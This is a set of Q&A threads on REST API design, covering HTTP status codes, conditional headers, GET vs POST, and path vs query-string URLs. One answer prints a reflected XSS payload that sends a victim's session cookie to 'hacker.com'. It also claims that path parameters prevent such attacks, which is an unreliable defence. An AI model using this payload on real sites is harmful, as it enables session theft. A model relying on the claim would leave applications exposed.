What HTTP status code should I use for a REST response that only contains part of the answer? - rest

Say I am building an API that serves the content of old magazines. The client can request the content of the latest edition prior to a given date, something like:
GET /magazines/<some_magazine_id>?date=2015-03-15
The response includes general data about the magazine, such as its name, country of distribution, the date of creation..., and if my database has content available for an edition prior to the date given, it returns it as well.
What HTTP status code should I use if the client requests data for a date before anything I have available? I might have data in the future, when I expand the content of my database. So this is sort of a temporary failure, but it's unclear how long it may take before it is fixed.
Based on other questions, I feel like:
404 is not right: in some cases, I have no data at all about a magazine, in which case I'd return a 404. But this is different. I would like the user to get the partial data, but with an indication that it's only partial.
4xx are client-side errors. I feel like the client didn't do anything wrong.
206 Partial Content seems indicated when returning a range of the content, but not all of it.
30x I thought about using a 302 or similar, and point to the closest edition available, but again, I am not sure that this is right, because I am now pointing to something semantically different from the question asked.
5xx would be errors, and I think should not contain any data.
My best guess would be something like a 2xx No Details Available (Yet) indicating that the request was "somewhat successful", but I can't find anything that seems correct in the list.

I would go with a 200 OK. You did find the magazine and you are returning data about it. While your data is not as complete as it might have been, it is a complete response that can be understood. Presumably you are returning an empty array or a nil reference where the edition(s) would have been?
The problem with many of the more specific responses are that they are really intended for something more low-level. You are not returning partial content, you are returning the full content. It is just that the higher-level application data is not as complete as you might have wished (no old edition found). On the REST/HTTP level the response is just fine.

Related

What is the proper response status for a REST API GET returning no content?

I have an endpoint like so:
GET /api/customer/primary
If a primary customer exists, I return something like
{
name: "customerName"
}
But what if I send a GET and a primary customer doesn't exist?
Is it better to send a 200 OK with an empty JSON {}
Or is better to only send a 204 No Content?
404 is the appropriate status code for this. You're trying to represent a 'primary customer' as a resource, but in some cases this relationship doesn't exists. This situation is pretty clear, it should be a 404 for GET requests.
This is a perfectly acceptable way to communicate this. A 404 might signal a client that the resource doesn't exist yet, and perhaps that it can be created with PUT.
204 No Content has a specific meaning, and doesn't make that much sense for your case. 204 is not just meant to signal there's not going to be response body (Content-Length: 0 can do that), but it has a more specific application for hypermedia applications. Specifically, it signals that when a user performs an action that results in the 204, the view shouldn't refresh. This makes sense for for example an "Update" operation where a user can occasionally save their progress while working on a document. Contrast to 205 Reset Content, which signals that the 'view' should reset so (perhaps) a new document can be created from scratch.
Most applications don't go this far. Frankly, I haven't seen a single one. Given that, returning 200 with Content-Length: 0 or 204 No Content is an almost completely irrelevant discussion. The HTTP specification certainly doesn't forbid 200 OK with Content-Length: 0.
That was a bit of a tangent. To conclude, 404 signals this 'thing' doesn't exist, and that's appropriate here. There's no multiple interpretations. There's the people who wrote the specifications, those who read them well and on the other side of the discussion the people who are wrong.
But what if I send a GET and a primary customer doesn't exist?
Is it better to send a 200 OK with an empty JSON {}
Or is better to only send a 204 No Content?
If I'm interpreting your question correctly, you aren't really asking about status codes, but rather what kind of schema should you be using to manage the different cases in your API.
For cases like REST, where the two ends of the conversation are not necessarily controlled by the same organization and same release cycle, you may need to consider that one side of the conversation is using a more recent schema version than the other.
So how is that going to be possible? The best treatments I have seen focus on designing schema for extension - new fields are optional, and have documented semantics for how they should be understood if a field is absent.
From that perspective
{}
Doesn't look like a representation of a missing object - it looks like a representation of an object with default values for all of the optional fields.
It might be that what you want is something like Maybe or Option - where instead of promising to send back an object or not, you are promising to send back a collection of zero or one object. Collections I would normally expected to be represented in JSON as a array, rather than an object.
[]
Now, with that idea in pocket, I think it's reasonable to decide that you are returning a representation of a Maybe, where the representation of None is zero bytes long, and the representation of Some(object) is the JSON representation of the object.
So in that design 204 when returning None makes a lot of sense, and you can promise that if a successful response returns a body, that there is really something there.
There's a trade off here - the list form allows consumers to always parse the data, but they have to do that even when a None is sent. On the other hand, using the empty representation for None saves a parse, but requires that the consumer be paying attention to the content length.
So, looking back to your two proposals, I would expect that using 204 is going to be the more successful long term approach.
Another possibility would be to return the null primitive type when you want to express that there is no object available. This would go with a 200 response, because the content length would be four bytes long.
null
HTTP 404 status's text ("Not Found") is the closest to the situation, But:
The first digit of the Status-Code defines the class of response. The
last two digits do not have any categorization role. There are 5
values for the first digit:
1xx: Informational - Request received, continuing process
2xx: Success - The action was successfully received,
understood, and accepted
3xx: Redirection - Further action must be taken in order to
complete the request
4xx: Client Error - The request contains bad syntax or cannot
be fulfilled
5xx: Server Error - The server failed to fulfill an apparently
valid request
(reference)
In practice, 4xx recognized as an error and it is likely some alerts will rise from network / security / logging infrastructure
204 semantic indicate that the server has successfully fulfilled a request and there is no additional content to send - not exactly what happening.
A common use case is to return 204 as a result of a PUT request, updating the resource.
Therefore I would recommend using either:
HTTP 200 with an empty object / array
like you suggested.
HTTP 200 returning a null object, e.g.:
"none" (valid JSON)
or
{
"name": "NO_PRIMARY_CUSTOMER"
}
(implementation of such a null object depends on your specific system behavior with the returned data)
Custom HTTP 2xx code with an empty result
Less common, but still workable alternative is to return a custom HTTP code within the 2xx range (e.g. HTTP 230) with an empty result.
This option should be used with extra caution or even avoided if the API is exposed to a wide audience that may use unknown tools to access / monitor the API.

Is it valid to modify a REST API representation based on a If-Modified-Since header?

I want to implement a "get changed values" capability in my API. For example, say I have the following REST API call:
GET /ws/school/7/student
This gets all the students in school #7. Unfortunately, this may be a lot. So, I want to modify the API to return only the student records that have been modified since a certain time. (The use case is that a nightly process runs from another system to pull all the students from my system to theirs.)
I see http://blog.mugunthkumar.com/articles/restful-api-server-doing-it-the-right-way-part-2/ recommends using the if-modified-since header and returning a representation as follows:
Search all the students updated since the time requested in the if-modified-since header
If there are any, return those students with a 200 OK
If there are no students returned from that query, return a 304 Not Modified
I understand what he wants to do, but this seems the wrong way to go about it. The definition of the If-Modified-Since header (http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.24) says:
The If-Modified-Since request-header field is used with a method to make it conditional: if the requested variant has not been modified since the time specified in this field, an entity will not be returned from the server; instead, a 304 (not modified) response will be returned without any message-body.
This seems wrong to me. We would not be returning the representation or a 304 as indicated by the RFC, but some hybrid. It seems like client side code (or worse, a web cache between server and client) might misinterpret the meaning and replace the local cached value, when it should really just be updating it.
So, two questions:
Is this a correct use of the header?
If not (and I suspect not), what is the best practice? Query string parameter?
This is not the correct use of the header. The If-Modified-Since header is one which an HTTP client (browser or code) may optionally supply to the server when requesting a resource. If supplied the meaning is "I want resource X, but only if it's changed since time T." Its purpose is to allow client-side caching of resources.
The semantics of your proposed usage are "I want updates for collection X that happened since time T." It's a request for a subset of X. It does not seem like your motivation is to enable caching. Your client-side cached representation seemingly contains all of X, even though the typical request will only return you a small set of changes to X; that is, the response is not what you are directly caching, so the caching needs to happen in custom user logic client-side.
A query string parameter is a much more appropriate solution. Below {seq} would be something like a sequence number or timestamp.
GET /ws/schools/7/students/updates?since={seq}
Server-side I imagine you have a sequence of updates since the beginning of your system and a request of the above form would grab the first N updates that had a sequence value greater than {seq}. In this way, if a client ever got very far behind and needed to catch up, the results would be paged.

Proper RESTful way to handle a request that is not really creating or getting something?

I am writing a little app that does one thing only: takes some user-provided data, does some analysis on it, and returns a "tag" for that data. I am thinking that the client should either GET or POST their request to /getTag in order to get a response back.
Nothing is stored on the server when the client does this, so it feels weird to use a POST. However, there is not a uniform URI for the analysis either, so using a GET feels weird, since it will return different things depending on what data is provided.
What is the best way to represent this functionality with REST?
The "best way" is to do whatever is most appropriate for your application and its needs. Not knowing that, here are a few ideas:
GET is the most appropriate verb since you're not creating or storing anything on the server, just retrieving something that the server provides.
Don't put the word get in the URI as you've suggested. Verbs like that are already provided by HTTP, so just use /tag and GET it instead.
You should use a well-understood (or "cool") URI for this resource and pass the data as query parameters. I wouldn't worry about it feeling weird (see this question's answers to find out why).
To sum up, just GET on /tag?foo=bar&beef=dead, and you're done.
POST can represent performing an action. The action doesn't have to be a database action.
What you have really created is a Remote Procedure. RPC is usually all POST. I don't think this is a good fit for REST, but that doesn't have to stop you from using simple URLs and JSON.
It seems to me like there would probably be a reason you or the user who generated the original data would want the generated tag to persist, wouldn't they?
If that's a possibility, then I'd write it as POST /tags and pass the /tags/:id resource URI back as a Location: header.
If I really didn't care about persisting the generated tag, I'd think about what the "user-generated data" was and how much processing is happening behind the scenes. If the "tag" is different enough from whatever data is being passed into the system, GET /tag might be really confusing for an API consumer.
I'll second Brian's answer: use a GET. If the same input parameters return the same output, and you're not really creating anything, it's an idempotent action and thus perfectly suited for a GET.
You can use GET and POST either:
GET /tag?data="..." -> 200, tag
The GET method means retrieve whatever information (in the form of an
entity) is identified by the Request-URI. If the Request-URI refers to
a data-producing process, it is the produced data which shall be
returned as the entity in the response and not the source text of the
process, unless that text happens to be the output of the process.
POST /tag {data: "..."} -> 200, tag
The action performed by the POST method might not result in a resource
that can be identified by a URI. In this case, either 200 (OK) or 204
(No Content) is the appropriate response status, depending on whether
or not the response includes an entity that describes the result.
according to the HTTP standard / method definitions section.
I would use GET if I were you (and POST only if you want to send files).

Querystring in REST Resource url

I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.
As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.
There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.
As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396
The query component is a string of
information to be interpreted by the
resource.
This line was later changed in RFC 3986 to be:
The query component contains
non-hierarchical data that, along with
data in the path component (Section
3.3), serves to identify a resource
IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.
Update to address Steve's comment.
Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.
I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.
If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.
The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.
In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:
http://localhost/products/code/4xheaua
Look at other well-designed REST APIs - for example, look at StackOverflow. You have:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
These are all different ways of getting at "questions".
There are two use cases for GET
Get a uniquely identified resource
Search for resource(s) based on given criteria
Use Case 1 Example:
/products/4xxheua
Get a uniquely identified product, returns 404 if not found.
Use Case 2 Example:
/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).
If we look at say the Google Maps API we can see they use a query string for search.
e.g.
http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
So both styles are valid for their own use cases.
IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?
So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].
That's my approach, your mileage may vary :)
The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So
https://domain.com/products/42
identifies a particular product while
https://domain.com/products?price=under+5
might search for products under $5.
I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what
https://domain.com/accessories/watches
and
https://domain.com/watches/accessories
each refer to. With querystrings,
https://domain.com?product=watches&category=accessories
is not not very clear.
At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.
The ending of those two URIs is not very significant RESTfully.
However, the 'findbyproductcode' portion could certainly be more restful. Why not just
http://localhost/product/4xxheau ?
In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id}
However, if product code is not unique, then I might design it more like #2.
However, as Darrel has observed, the client should not care what the URI looks like.
This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).
(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)
The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Whereas this attack will be successful by using a QueryParam!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...
Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.
By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.
By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.
So both URI structures are probably flawed, because they contain verbs in their current format.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
You can remove find from the URIs this way:
1. /products/code:4xxheua
2. /products?code="4xxheua"
From a REST perspective it does not matter which one you choose.
You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.
Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.
Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.
What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.
Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.

HTTP Response 412 - can you include content?

I am building a RESTful data store and leveraging Conditional GET and PUT. During a conditional PUT the client can include the Etag from a previous GET on the resource and if the current representation doesn't match the server will return the HTTP status code of 412 (Precondition Failed). Note this is an Atom based server/protocol.
My question is, when I return the 412 status can I also include the new representation of the resource or must the user issue a new GET? The HTTP spec doesn't seem to say yes or no and neither does the Atom spec (although their example shows an empty entity body on the response). It seems pretty wasteful not to return the new representation and make the client specifically GET it. Thoughts?
Although conditional GETs and PUTs are summarized as 'conditional requests' they are very different conceptually. Conditional GETs are a performance optimization and conditional PUTs are a concurrency control mechanism. It is hard to discuss them together.
To your question regarding the conditional GET: If you send GET and include an If-None-Match header the server will send 200 Ok if the resource has changed and 304 Not Modified if it did not (if the condition failed). 412 is only to be used with conditional PUTs.
UPDATE: It seems I misread the question slightly. To your point regarding the 'refresh' of the local copy upon a failed conditional PUT: It might well be that a cache already has the newest version and that your refresh-GET will be served from some cache. Having the server return the current entity with the 412 might actually give you worse performance.
No, technically you should not. Error codes are generally to specify that something has gone wrong. Although nothing would stop you from returning content (and in fact, some errors like a 404 return a pretty page that says You didn't find what you're looking for), the point of the response is not to return other content, but to return something that tells you what was wrong. Technically you also should not return that data because you passed the If-None-Match: etag (I'm assuming that's what you passed?)
On another note, do you really need to optimize away one additional http call?
The more I think about this, the more I'm convinced it's a bad idea - Are you going to return the content on any other errors? PUT semantics are to PUT. GET semantics should be used for GET.
If the number of additional requests incurred, due to an extra request after an update conflict, is significant enough for you to have performance concerns, then I would suggest you might have issues with the granularity of your resources.
Do you really expect millions of times a day multiple users will be editing the same resource simultaneously? Maybe you need to be storing delta changes to the resource instead updating the resource directly. If there really is that much contention for these resources then aren't users going to be constantly working on out of date data.
If your problem was that your resource contains the last-modified date and last-modified user and you had to do a GET after every PUT then I would be more convinced of the need to twist the rules.
However, I think the performance hit of the extra request is worth it for the clarity to the client developer.